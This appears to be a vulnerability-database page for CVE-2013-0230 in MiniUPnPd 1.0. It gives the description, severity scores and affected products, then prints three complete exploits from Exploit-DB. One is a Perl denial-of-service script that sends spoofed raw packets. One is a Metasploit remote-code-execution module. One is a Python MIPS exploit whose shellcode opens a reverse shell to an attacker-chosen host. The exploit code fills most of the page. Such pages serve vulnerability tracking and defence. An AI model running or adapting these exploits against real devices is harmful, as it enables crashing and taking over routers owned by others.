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CVE Descriptions
Stack-based buffer overflow in the ExecuteSoapAction function in the SOAPAction handler in the HTTP service in MiniUPnP MiniUPnPd 1.0 allows remote attackers to execute arbitrary code via a long quoted method.
CVE Informations
Related Weaknesses
| Weakness Name | Source | |
|---|---|---|
| Improper Restriction of Operations within the Bounds of a Memory Buffer The product performs operations on a memory buffer, but it reads from or writes to a memory location outside the buffer's intended boundary. This may result in read or write operations on unexpected memory locations that could be linked to other variables, data structures, or internal program data. |
Metrics
| Metrics | Score | Severity | CVSS Vector | Source |
|---|---|---|---|---|
| V2 | 10 | AV:N/AC:L/Au:N/C:C/I:C/A:C | nvd@nist.gov |
EPSS
EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.
EPSS Score
The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.
EPSS Percentile
The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
Exploit information
Exploit Database EDB-ID : 37517
Publication date : 2015-07-06 22h00 +00:00
Author : Todor Donev
EDB Verified : No
#!/usr/bin/perl
#
# miniupnpd/1.0 remote denial of service exploit
#
# Copyright 2015 (c) Todor Donev
# todor.donev@gmail.com
# http://www.ethical-hacker.org/
# https://www.facebook.com/ethicalhackerorg
#
# The SSDP protocol can discover Plug & Play devices,
# with uPnP (Universal Plug and Play). SSDP is HTTP
# like protocol and work with NOTIFY and M-SEARCH
# methods.
#
# See also:
# CVE-2013-0229
# http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2013-0229
# CVE-2013-0230
# http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2013-0230
#
# Tested on
# Device Name : IMW-C920W
# Device Manufacturer : INFOMARK (http://infomark.co.kr)
#
# These devices are commonly used by Max Telecom, Bulgaria
#
# Disclaimer:
# This or previous program is for Educational
# purpose ONLY. Do not use it without permission.
# The usual disclaimer applies, especially the
# fact that Todor Donev is not liable for any
# damages caused by direct or indirect use of the
# information or functionality provided by these
# programs. The author or any Internet provider
# bears NO responsibility for content or misuse
# of these programs or any derivatives thereof.
# By using these programs you accept the fact
# that any damage (dataloss, system crash,
# system compromise, etc.) caused by the use
# of these programs is not Todor Donev's
# responsibility.
#
# Use at your own risk!
#
# See also:
# SSDP Reflection DDoS Attacks
# http://tinyurl.com/mqwj6xt
#
#######################################
#
# # perl miniupnpd.pl
#
# [ miniupnpd/1.0 remote denial of service exploit ]
# [ =============================================== ]
# [ Usage:
# [ ./miniupnpd.pl <victim address> <spoofed address>
# [ Example:
# [ perl miniupnpd.pl 192.168.1.1 133.73.13.37
# [ Example:
# [ perl miniupnpd.pl 192.168.1.1
# [ =============================================== ]
# [ 2015 <todor.donev@gmail.com> Todor Donev 2015 ]
#
# # nmap -sU 192.168.1.1 -p1900 --script=upnp-info
#
# Starting Nmap 5.51 ( http://nmap.org ) at 0000-00-00 00:00 EEST
# Nmap scan report for 192.168.1.1
# Host is up (0.00078s latency).
# PORT STATE SERVICE
# 1900/udp open upnp
# | upnp-info:
# | 192.168.1.1
# | Server: 1.0 UPnP/1.0 miniupnpd/1.0
# | Location: http://192.168.1.1:5000/rootDesc.xml
# | Webserver: 1.0 UPnP/1.0 miniupnpd/1.0
# | Name: INFOMARK Router
# | Manufacturer: INFOMARK
# | Model Descr: INFOMARK Router
# | Model Name: INFOMARK Router
# | Model Version: 1
# | Name: WANDevice
# | Manufacturer: MiniUPnP
# | Model Descr: WAN Device
# | Model Name: WAN Device
# | Model Version: 20070228
# | Name: WANConnectionDevice
# | Manufacturer: MiniUPnP
# | Model Descr: MiniUPnP daemon
# | Model Name: MiniUPnPd
# |_ Model Version: 20070228
# MAC Address: 00:00:00:00:00:00 (Infomark Co.) // CENSORED
#
# Nmap done: 1 IP address (1 host up) scanned in 0.39 seconds
#
# # perl miniupnpd.pl 192.168.1.1
#
# [ miniupnpd/1.0 remote denial of service exploit ]
# [ =============================================== ]
# [ Target: 192.168.1.1
# [ Send malformed SSDP packet..
#
# # nmap -sU 192.168.1.1 -p1900
#
# Starting Nmap 5.51 ( http://nmap.org ) at 0000-00-00 00:00 EEST
# Nmap scan report for 192.168.1.1
# Host is up (0.00085s latency).
# PORT STATE SERVICE
# 1900/udp closed upnp // GOOD NIGHT, SWEET PRINCE.... :D
# MAC Address: 00:00:00:00:00:00 (Infomark Co.) // CENSORED
#
# Nmap done: 1 IP address (1 host up) scanned in 0.16 seconds
#
#
# Special thanks to HD Moore ..
#
use Socket;
if ( $< != 0 ) {
print "Sorry, must be run as root!\n";
print "This script use RAW Socket.\n";
exit;
}
my $ip_src = (gethostbyname($ARGV[1]))[4];
my $ip_dst = (gethostbyname($ARGV[0]))[4];
print "\n[ miniupnpd/1.0 remote denial of service exploit ]\n";
print "[ =============================================== ]\n";
select(undef, undef, undef, 0.40);
if (!defined $ip_dst) {
print "[ Usage:\n[ ./$0 <victim address> <spoofed address>\n";
select(undef, undef, undef, 0.55);
print "[ Example:\n[ perl $0 192.168.1.1 133.73.13.37\n";
print "[ Example:\n[ perl $0 192.168.1.1\n";
print "[ =============================================== ]\n";
print "[ 2015 <todor.donev\@gmail.com> Todor Donev 2015 ]\n\n";
exit;
}
socket(RAW, PF_INET, SOCK_RAW, 255) or die $!;
setsockopt(RAW, 0, 1, 1) or die $!;
main();
# Main program
sub main {
my $packet;
$packet = iphdr();
$packet .= udphdr();
$packet .= payload();
# b000000m...
send_packet($packet);
}
# IP header (Layer 3)
sub iphdr {
my $ip_ver = 4; # IP Version 4 (4 bits)
my $iphdr_len = 5; # IP Header Length (4 bits)
my $ip_tos = 0; # Differentiated Services (8 bits)
my $ip_total_len = $iphdr_len + 20; # IP Header Length + Data (16 bits)
my $ip_frag_id = 0; # Identification Field (16 bits)
my $ip_frag_flag = 000; # IP Frag Flags (R DF MF) (3 bits)
my $ip_frag_offset = 0000000000000; # IP Fragment Offset (13 bits)
my $ip_ttl = 255; # IP TTL (8 bits)
my $ip_proto = 17; # IP Protocol (8 bits)
my $ip_checksum = 0; # IP Checksum (16 bits)
my $ip_src=gethostbyname(&randip) if !$ip_src; # IP Source (32 bits)
# IP Packet construction
my $iphdr = pack(
'H2 H2 n n B16 h2 c n a4 a4',
$ip_ver . $iphdr_len, $ip_tos, $ip_total_len,
$ip_frag_id, $ip_frag_flag . $ip_frag_offset,
$ip_ttl, $ip_proto, $ip_checksum,
$ip_src, $ip_dst
);
return $iphdr;
}
# UDP header (Layer 4)
sub udphdr {
my $udp_src_port = 31337; # UDP Sort Port (16 bits) (0-65535)
my $udp_dst_port = 1900; # UDP Dest Port (16 btis) (0-65535)
my $udp_len = 8 + length(payload()); # UDP Length (16 bits) (0-65535)
my $udp_checksum = 0; # UDP Checksum (16 bits) (XOR of header)
# UDP Packet
my $udphdr = pack(
'n n n n',
$udp_src_port, $udp_dst_port,
$udp_len, $udp_checksum
);
return $udphdr;
}
# Create SSDP Bomb
sub payload {
my $data;
my $head;
$data = "M-SEARCH * HTTP\/1.1\\r\\n";
for (0..1260) { $data .= chr( int(rand(25) + 65) ); }
my $payload = pack('a' . length($data), $data);
return $payload;
}
# Generate random source ip address
sub randip () {
srand(time() ^ ($$ + ($$ << 15)));
my $ipdata;
$ipdata = join ('.', (int(rand(255)), int(rand(255)), int(rand(255)), int(rand(255)))), "\n";
my $ipsrc = pack('A' . length($ipdata), rand($ipdata));
return $ipdata;
}
# Send the malformed packet
sub send_packet {
print "[ Target: $ARGV[0]\n";
select(undef, undef, undef, 0.30);
print "[ Send malformed SSDP packet..\n\n";
send(RAW, $_[0], 0, pack('Sna4x8', PF_INET, 60, $ip_dst)) or die $!;
}
Exploit Database EDB-ID : 25975
Publication date : 2013-06-04 22h00 +00:00
Author : Metasploit
EDB Verified : Yes
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
include Msf::Exploit::Remote::HttpClient
Rank = NormalRanking
def initialize(info = {})
super(update_info(info,
'Name' => 'MiniUPnPd 1.0 Stack Buffer Overflow Remote Code Execution',
'Description' => %q{
This module exploits the MiniUPnP 1.0 SOAP stack buffer overflow vulnerability
present in the SOAPAction HTTP header handling.
},
'Author' =>
[
'hdm', # Vulnerability discovery
'Dejan Lukan' # Metasploit module
],
'License' => MSF_LICENSE,
'DefaultOptions' => { 'EXITFUNC' => 'process', },
# the byte '\x22' is the '"' character and the miniupnpd scans for that character in the
# input, which is why it can't be part of the shellcode (otherwise the vulnerable part
# of the program is never reached)
'Payload' =>
{
'Space' => 2060,
'BadChars' => "\x00\x22",
'DisableNops' => true
},
'Platform' => 'linux',
'References' =>
[
[ 'CVE', '2013-0230' ],
[ 'OSVDB', '89624' ],
[ 'BID', '57608' ],
[ 'URL', 'https://community.rapid7.com/community/infosec/blog/2013/01/29/security-flaws-in-universal-plug-and-play-unplug-dont-play']
],
'Targets' =>
[
[ 'Debian GNU/Linux 6.0 / MiniUPnPd 1.0',
{
'Ret' => 0x0804ee43, # pop ebp # ret # from miniupnpd
'Offset' => 2123
}
],
],
'DefaultTarget' => 0,
'Privileged' => false,
'DisclosureDate' => 'Mar 27 2013',
))
register_options([
Opt::RPORT(5555),
], self.class)
end
def exploit
#
# Build the SOAP Exploit
#
# jmp 0x2d ; jump forward 0x2d bytes (jump right after the '#' char)
sploit = "\xeb\x2d"
# a valid action
sploit += "n:schemas-upnp-org:service:WANIPConnection:1#"
# payload
sploit += payload.encoded
# nops
sploit += rand_text(target['Offset'] - sploit.length - 16)
# overwrite registers on stack: the values are not used, so we can overwrite them with anything
sploit += rand_text(4) # overwrite EBX
sploit += rand_text(4) # overwrite ESI
sploit += rand_text(4) # overwrite EDI
sploit += rand_text(4) # overwrite EBP
# Overwrite EIP with addresss of "pop ebp, ret", because the second value on the
# stack points directly to the string after 'Soapaction: ', which is why we must
# throw the first value on the stack away, which we're doing with the pop ebp
# instruction. Then we're returning to the next value on the stack, which is
# exactly the address that we want.
sploit += [target.ret].pack('V')
# the ending " character is necessary for the vulnerability to be reached
sploit += "\""
# data sent in the POST body
data =
"<?xml version='1.0' encoding=\"UTF-8\"?>\r\n" +
"<SOAP-ENV:Envelope\r\n" +
" SOAP-ENV:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\"\r\n" +
" xmlns:SOAP-ENC=\"http://schemas.xmlsoap.org/soap/encoding/\"\r\n" +
" xmlns:SOAP-ENV=\"http://schemas.xmlsoap.org/soap/envelope/\"\r\n" +
">\r\n" +
"<SOAP-ENV:Body>\r\n" +
"<ns1:action xmlns:ns1=\"urn:schemas-upnp-org:service:WANIPConnection:1\" SOAP-ENC:root=\"1\">\r\n" +
"</ns1:action>\r\n" +
"</SOAP-ENV:Body>\r\n" +
"</SOAP-ENV:Envelope>\r\n"
#
# Build and send the HTTP request
#
print_status("Sending exploit to victim #{target.name} at ...")
send_request_cgi({
'method' => 'POST',
'uri' => "/",
'headers' => {
'SOAPAction' => sploit,
},
'data' => data,
})
# disconnect from the server
disconnect
end
end
Exploit Database EDB-ID : 36839
Publication date : 2015-04-26 22h00 +00:00
Author : Onur Alanbel (BGA)
EDB Verified : No
#!/usr/bin/env python
# Exploit Title: MiniUPnPd 1.0 Stack Overflow RCE for AirTies RT Series
# Date: 26.04.2015
# Exploit Author: Onur ALANBEL (BGA)
# Vendor Homepage: http://miniupnp.free.fr/
# Version: 1.0
# Architecture: MIPS
# Tested on: AirTies RT-204v3
# CVE : 2013-0230
# Exploit gives a reverse shell to lhost:lport
# Details: https://www.exploit-db.com/docs/english/36806-developing-mips-exploits-to-hack-routers.pdf
import urllib2
from string import join
from argparse import ArgumentParser
from struct import pack
from socket import inet_aton
BYTES = 4
def hex2str(value, size=BYTES):
data = ""
for i in range(0, size):
data += chr((value >> (8*i)) & 0xFF)
data = data[::-1]
return data
arg_parser = ArgumentParser(prog="miniupnpd_mips.py", description="MiniUPnPd \
CVE-2013-0230 Reverse Shell exploit for AirTies \
RT Series, start netcat on lhost:lport")
arg_parser.add_argument("--target", required=True, help="Target IP address")
arg_parser.add_argument("--lhost", required=True, help="The IP address\
which nc is listening")
arg_parser.add_argument("--lport", required=True, type=int, help="The\
port which nc is listening")
args = arg_parser.parse_args()
libc_base = 0x2aabd000
ra_1 = hex2str(libc_base + 0x36860) # ra = 1. gadget
s1 = hex2str(libc_base + 0x1636C) # s1 = 2. gadget
sleep = hex2str(libc_base + 0x35620) # sleep function
ra_2 = hex2str(libc_base + 0x28D3C) # ra = 3. gadget
s6 = hex2str(libc_base + 0x1B19C) # ra = 4.gadget
s2 = s6
lport = pack('>H', args.lport)
lhost = inet_aton(args.lhost)
shellcode = join([
"\x24\x11\xff\xff"
"\x24\x04\x27\x0f"
"\x24\x02\x10\x46"
"\x01\x01\x01\x0c"
"\x1e\x20\xff\xfc"
"\x24\x11\x10\x2d"
"\x24\x02\x0f\xa2"
"\x01\x01\x01\x0c"
"\x1c\x40\xff\xf8"
"\x24\x0f\xff\xfa"
"\x01\xe0\x78\x27"
"\x21\xe4\xff\xfd"
"\x21\xe5\xff\xfd"
"\x28\x06\xff\xff"
"\x24\x02\x10\x57"
"\x01\x01\x01\x0c"
"\xaf\xa2\xff\xff"
"\x8f\xa4\xff\xff"
"\x34\x0f\xff\xfd"
"\x01\xe0\x78\x27"
"\xaf\xaf\xff\xe0"
"\x3c\x0e" + lport +
"\x35\xce" + lport +
"\xaf\xae\xff\xe4"
"\x3c\x0e" + lhost[:2] +
"\x35\xce" + lhost[2:4] +
"\xaf\xae\xff\xe6"
"\x27\xa5\xff\xe2"
"\x24\x0c\xff\xef"
"\x01\x80\x30\x27"
"\x24\x02\x10\x4a"
"\x01\x01\x01\x0c"
"\x24\x0f\xff\xfd"
"\x01\xe0\x78\x27"
"\x8f\xa4\xff\xff"
"\x01\xe0\x28\x21"
"\x24\x02\x0f\xdf"
"\x01\x01\x01\x0c"
"\x24\x10\xff\xff"
"\x21\xef\xff\xff"
"\x15\xf0\xff\xfa"
"\x28\x06\xff\xff"
"\x3c\x0f\x2f\x2f"
"\x35\xef\x62\x69"
"\xaf\xaf\xff\xec"
"\x3c\x0e\x6e\x2f"
"\x35\xce\x73\x68"
"\xaf\xae\xff\xf0"
"\xaf\xa0\xff\xf4"
"\x27\xa4\xff\xec"
"\xaf\xa4\xff\xf8"
"\xaf\xa0\xff\xfc"
"\x27\xa5\xff\xf8"
"\x24\x02\x0f\xab"
"\x01\x01\x01\x0c"
], '')
payload = 'C'*2052 + s1 + 'C'*(4*4) + s6 + ra_1 + 'C'*28 + sleep + 'C'*40 + s2\
+ ra_2 + 'C'*32 + shellcode
soap_headers = {
'SOAPAction': "n:schemas-upnp-org:service:WANIPConnection:1#" + payload,
}
soap_data = """
<?xml version='1.0' encoding="UTF-8"?>
<SOAP-ENV:Envelope
SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"
xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/"
xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/"
>
<SOAP-ENV:Body>
<ns1:action xmlns:ns1="urn:schemas-upnp-org:service:WANIPConnection:1"\
SOAP-ENC:root="1">
</ns1:action>
</SOAP-ENV:Body>
</SOAP-ENV:Envelope>
"""
try:
print "Exploiting..."
req = urllib2.Request("http://" + args.target + ":5555", soap_data,
soap_headers)
res = urllib2.urlopen(req).read()
except:
print "Ok"
Products Mentioned
Configuraton 0
Miniupnp_project>>Miniupnpd >> Version 1.0
- Miniupnp_project>>Miniupnpd >> Version 1.0 (Open CPE detail)
- Miniupnp_project>>Miniupnpd >> Version 1.0 (Open CPE detail)
- Miniupnp_project>>Miniupnpd >> Version 1.0 (Open CPE detail)
- Miniupnp_project>>Miniupnpd >> Version 1.0 (Open CPE detail)
- Miniupnp_project>>Miniupnpd >> Version 1.0 (Open CPE detail)
- Miniupnp_project>>Miniupnpd >> Version 1.0 (Open CPE detail)
- Miniupnp_project>>Miniupnpd >> Version 1.0 (Open CPE detail)
- Miniupnp_project>>Miniupnpd >> Version 1.0 (Open CPE detail)
- Miniupnp_project>>Miniupnpd >> Version 1.0 (Open CPE detail)
- Miniupnp_project>>Miniupnpd >> Version 1.0 (Open CPE detail)
- Miniupnp_project>>Miniupnpd >> Version 1.0 (Open CPE detail)
- Miniupnp_project>>Miniupnpd >> Version 1.0 (Open CPE detail)
- Miniupnp_project>>Miniupnpd >> Version 1.0 (Open CPE detail)
- Miniupnp_project>>Miniupnpd >> Version 1.0 (Open CPE detail)
- Miniupnp_project>>Miniupnpd >> Version 1.0 (Open CPE detail)
References
https://community.rapid7.com/servlet/JiveServlet/download/2150-1-16596/SecurityFlawsUPnP.pdf
Tags : x_refsource_MISC
Tags : x_refsource_MISC
https://community.rapid7.com/servlet/servlet.FileDownload?file=00P1400000cCaFb
Tags : x_refsource_MISC
Tags : x_refsource_MISC
